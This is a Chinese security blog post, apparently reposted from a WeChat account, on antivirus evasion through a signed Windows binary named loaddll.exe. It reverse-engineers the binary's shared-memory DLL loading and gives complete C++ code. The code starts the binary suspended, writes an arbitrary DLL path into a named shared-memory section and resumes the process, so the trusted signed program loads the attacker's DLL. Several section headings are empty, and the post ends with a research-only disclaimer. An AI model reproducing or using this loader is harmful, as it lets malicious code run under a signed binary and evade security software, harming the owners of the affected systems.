开篇
在使用ZeroEye的新功能对全盘的Exe进行扫描时发现一个程序的名称比较可疑:loaddll.exe
通过名称来看大概知道是加载dll,那么既然是有签名的,意味着我们在跟数字杀软对抗的过程中是可用的,本次利用点比较简单,过程简单记录一下。
分析部分
一般工具的使用,windows可以-h |--help|/?
这三个参数查看使用帮助,但是这个loaddll不提供使用帮助,我们只能IDA去看它怎么实现,并看看如何利用!
如图所示,可以看到涉及的函数有:GetCurrentProcessId、OpenFileMappingW、MapViewOfFile、UnmapViewOfFile、CloseHandle、LoadLibraryW
,其他的字符串操作的函数就不列出了。咱们具体看看这些罗列的函数使用方法
GetCurrentProcessId
获取当前进程 ID。 OpenFileMappingW
打开现有共享内存。 MapViewOfFile
映射共享内存到进程地址空间。 UnmapViewOfFile
解除共享内存映射。 CloseHandle
关闭句柄(如进程、线程、文件映射等)。 LoadLibraryW
加载 DLL 到当前进程。
分析流程
实践部分
利用代码
#include<iostream>
int main() {
PROCESS_INFORMATION ProcessInformation;
STARTUPINFOW StartupInfo;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
wchar_t exename[] = L"loaddll.exe";
// 启动子进程(目标进程)
BOOL result = CreateProcessW(
NULL,
exename, // 目标进程名
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, // 先挂起
NULL,
NULL,
&StartupInfo,
&ProcessInformation
);
if (!result) {
std::wcerr << L"CreateProcessW failed. Error: " << GetLastError() << std::endl;
return 1;
}
wchar_t sharedMemName[256];
swprintf_s(sharedMemName, L"Local\szLibraryName%X", ProcessInformation.dwProcessId);
wprintf(L"Shared Memory Name: %sn", sharedMemName);
// 创建共享内存
HANDLE hMapFile = CreateFileMappingW(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
0x400, // 1024 字节
sharedMemName
);
if (!hMapFile) {
std::wcerr << L"CreateFileMappingW failed. Error: " << GetLastError() << std::endl;
return 1;
}
// 映射视图
wchar_t* pBuf = (wchar_t*)MapViewOfFile(
hMapFile,
FILE_MAP_ALL_ACCESS,
0,
0,
0x400
);
if (!pBuf) {
std::wcerr << L"MapViewOfFile failed. Error: " << GetLastError() << std::endl;
CloseHandle(hMapFile);
return 1;
}
// 写入 DLL 路径
const wchar_t* dllPath = L"C:\Users\Coriander\source\repos\test1\x64\Release\MessageBox.dll";
wcscpy_s(pBuf, 0x400 / sizeof(wchar_t), dllPath);
wprintf(L"DLL Path Written: %sn", pBuf);
// 恢复目标进程
ResumeThread(ProcessInformation.hThread);
Sleep(200);
// 释放资源
UnmapViewOfFile(pBuf);
CloseHandle(hMapFile);
// 关闭句柄
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
return 0;
}
代码解读
使用效果
其他利用
获取方式
原文始发于微信公众号(零攻防):【免杀实践】 二进制文件分析与利用,不一样的免杀思路
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论